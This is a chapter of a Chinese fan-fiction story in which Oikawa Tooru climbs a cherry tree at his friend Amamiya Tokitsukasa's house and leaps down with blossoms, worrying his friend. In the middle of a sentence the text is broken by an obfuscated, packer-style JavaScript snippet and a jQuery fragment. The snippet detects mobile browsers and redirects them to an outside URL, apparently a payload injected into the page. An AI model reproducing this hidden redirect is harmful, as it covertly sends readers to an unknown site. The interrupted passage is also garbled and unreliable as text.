5. 第5章

开学前一天,及川彻起了个大早。


他下楼的时候,母亲正在厨房准备早餐,于是问候过后顺便就告诉母亲,自己不在家吃早饭了。


正巧及川猛下楼,听见舅舅的话,快步跟了过来,“彻,你要出去玩吗?带上我一起!”


“不行。”


毫不留情地拒绝了外甥的请求,及川彻坐在下沉式玄关的地板上,埋头穿鞋,“你老实待在家里,否则以后我也不要带你出去玩了。”


及川猛急得紧紧握着拳头,抗争道:“撒谎!雨宫家的小叔叔回来了,你天天去找他,以后本来就不会带我一起玩了!”


闻言,及川彻沉吟一声,片刻后,终于像是想通了什么,欢喜道:“还真是这个道理没错!”


感叹完了,回头对上外甥充满期待的大眼睛,及川彻无情地点醒,“但我这会儿出去也是去找他。”


言下之意是从今天开始就不要带着小外甥一起玩了。


及川猛气恼,“那我要告诉小叔叔,你偷藏他的、唔!”


“嘘——!”


只听开头,及川彻就一个弹跳起身,捂着及川猛的嘴,将小孩儿按在了怀里。他紧张地瞪大了眼睛,抬头确认过母亲不像是听见了这边的动静,才咬牙切齿道:“你想害你亲爱的舅舅被打断腿吗!”


“松、松开……”好不容易扒拉开了舅舅的手,及川猛哼哼两声,“那你给我写张欠条,欠我一次游乐园!”


“写,我写!你小声点!”


及川彻无法,只得拿过鞋柜上的便签,刷刷写下一张游乐园兑换券,“凭券兑换,弄丢了我方概不负责!”


将兑换券仔细地收好了,及川猛心满意足,“好了,你去吧。”


用不平等条约换来了独自出门的机会,去往雨宫家的路上,及川彻已经计划着要找机会把兑换券偷回来。


哎,他不明白,小外甥怎么越大越不懂事了。明天他就是三年级的学生了,不仅要训练打比赛,还得学习,他很忙的好不好,哪儿来的那么多时间带小孩?


走到了雨宫家门口,及川彻刚想按门铃,大门便从里面被打开了。


“哇!早上好!”


佣人牵着dream出来,看见是他,遂笑眯了眼,“早上好,樱木先生刚刚去叫少爷起床了。”


及川彻点点头,蹲下身和dream打招呼,“是谁家的小狗待遇这么好啊,一早就可以出去遛弯?”


dream摇着尾巴叫了两声,前肢抬起来,看样子是很想让及川彻抱抱。


要是以往,及川彻已经忙不迭地把小狗抱在怀里狠撸了。可今天不一样,他一个踉跄躲开了,连连摆手,“不行,dream你自己出去玩吧,我要去找你哥哥了。”


大概是早上在院子里闹腾过了,小狗爪子抬起来,及川彻就眼尖地看见了小狗脚底沾着的泥土。


这要是裤子被踩出几个印子来,及川彻能够想象,以雨宫时司无情的程度,一定会不让他进房间。


目送着佣人牵着dream离开,及川彻转头就进了雨宫家。穿过长而幽静的回廊的时候,他注意到院子里有佣人在折开得过分繁茂的垂枝大叶早樱的花枝。


于是双臂交叠着攀在护栏上,扬声问:“为什么要折掉?”


突然听见声音,爬上树的佣人还惊了一瞬。他稳住身体,回头看见是经常来找自家少爷的少年,笑着解释:“园艺师和花艺师都请假了,樱木先生说今天少爷房里的插花就用樱花。”


一听是要用在雨宫时司房间里的,及川彻来了精神。他快步下了回廊,走进院子里,仰头对树上的青年道:“那我来帮忙吧。”


“欸?”青年瞪大眼睛,“可以吗?”


及川彻“嗯”了一声,“你下来,去忙别的吧。我正好要去找他,折了一便送去他房间。”


青年还有些犹豫,“但你是少爷的朋友……”


“那有什么关系。”及川彻撸起袖子,“你下来吧,让我来。”


见及川彻执意如此,青年只能从树上下来。


“那你小心一点,我就在后面的花房里,有需要叫我的名字,高桥一心。”


及川彻应了一声,很快便爬上了那棵高大繁茂的垂枝大叶早樱。


他小心翼翼地调整落脚点,稳住身体之后,先没折花,而是就着这难得的高度优势,仔细打量了一遍雨宫家。


目所能及的地方,都是他再熟悉不过的。


右前方那片草地,他们前几天还在那里用下午茶了。斜后方,则是雨宫家的人工湖和花房。面前的主楼是雨宫时司和家人住的地方,及川彻抬眼看向了三楼,朝向最好的那个房间就是雨宫时司……


唔,窗户怎么打开的?


米色的窗帘随着早晨过分轻柔的风飘荡着,及川彻踮了踮脚,很想试试能不能找到雨宫时司的身影。


可这时候,树下突然传来他熟悉的声音。


“你上去干嘛?”


及川彻低头,一看是雨宫时司,遂笑眯了眼。可他很快发现眼前的雨宫时司和以往有些不一样。


居然穿着拖鞋和对襟的睡衣就出来了。


“你这样没关系吗?”


说实话,雨宫时司觉得自己现在的模样,实在称不上是“没关系”。


他刚刚洗漱完,衣服都没来得及换,头发也没打理,这幅模样,在他看来,是不适合出现在人前的。


但及川彻又实在是不让他放心。


“快点下来了。别忘了你是运动员,受伤了怎么办?”


“不要。”及川彻摇头,一手抓着树干,冲雨宫时司做鬼脸,“阿司现在好像小矮人。”


绝大多数时候,雨宫时司都是脾气很好的。他有良好的家教,本人自制力又很强,所以一般情况下,他都不会被惹得炸毛。


当然了,身高相关的问题,另说。


切实被戳到了痛处,雨宫时司抿唇,虽然还没说话,但眼神已经变得很脏了。他掉头想直接回去,可迎面却遇到匆匆赶来的佣人。


“少爷,樱木先生问这只花瓶行不行?”


佣人送来的是一只古典风的细颈瓶,瓶身釉色温润,触手都不像寻常花瓶一样寒凉。


雨宫时司一瞧,就反应过来及川彻为什么上了树,于是拿着花瓶转身,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018727|162154||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


无奈道:“折一枝就好,快点下来,我等你。”


及川彻抓着树干左看右看,“你想要哪一枝?开得都好好啊。”


“你手边的就行……”话音一顿,雨宫时司又改了口,“折两枝下来。”


及川彻不明所以,但还是乖乖听话,折了两枝开得正好的樱花。


考虑到拿着花枝不好下树,雨宫时司走近了,踮脚去够,“你递给我,小心一点、及川彻!”


花枝从指尖扫过的时候,雨宫时司还真以为及川彻要听话一回了。可他怎么都没想到,不等他碰到枝干拿稳了,及川彻突然就从树上跳了下来。


虽然动作灵活,但还是吓得他连名带姓叫了一声,声音都因为害怕而陡然拔高了。


最矮的分叉还有一米来高,及川彻中途落脚借了下力,最后稳稳当当落在了雨宫时司面前。


矮处的花枝因为少年人大胆的动作而震荡摇曳着,柔软的粉色花瓣洋洋洒洒落下来,是雨宫时司今年春天看见的第一场樱花落就的雨。


耍帅成功,及川彻笑得张扬又灿烂,本就俊美的面容被那股子少年意气撒上一层光亮,好看得让人心惊。


可雨宫时司被吓着了,根本不吃这一套。


他抿紧了唇,掉头往回廊底下走。听见了身后跟得很近的脚步声,他没回头,一直等到进了门,及川彻伸手拉他胳膊,他才回头,静静看着及川彻。


两个人认识太久,及川彻太懂雨宫时司的表情是什么意思了,他拖长了调子,声音里隐隐带着点撒娇的味道。


“我又没有摔跤,这也要生气吗?”


雨宫时司抿唇,嘴硬,“我没有生气。”


及川彻啧声,“你现在怎么变成撒谎精了。”


雨宫时司横眼,“你才是比以前更幼稚了!”


及川彻大声,“这怎么叫幼稚呢?我想摘花给你,难道有错吗!”


余光看见有佣人因为门口的动静而特地回避了,雨宫时司脸一红,反拉着及川彻的胳膊,将人拽上了楼。


两个人一前一后地走着,鞋子踩在柔软的地毯上的声音几不可闻。雨宫时司稍稍冷静了一些,随后发出微弱的辩解声。


“你明知道我不是因为摘花生气……”


及川彻鼓起包子脸,被雨宫时司戳了戳,才不情不愿道:“我也是确定不会摔跤,才跳下来的。”


“这种事情怎么能确定?你要多注意一些。”


“知道了,知道了……”


说话间已经走到了房间门口,及川彻跟着雨宫时司进去,这才有闲心拨了拨雨宫时司脑袋后面的小发揪,“头发这么长了,还不剪吗?”


“唔,暂时没有要剪的打算。”雨宫时司顺势摸了摸自己的头发,“再有半个月有拍摄,长泽先生的意思是让我先不要剪,方便做造型。”


及川彻坐在沙发上,尤觉得雨宫时司这个造型有点稀奇,“不会不方便吗?”


“有一点,所以洗漱的时候都要扎起来。”


因为及川彻进了房间里,雨宫时司只能拿上今天要穿的衣服,往衣帽间走去。


“我换衣服,你稍等一下。”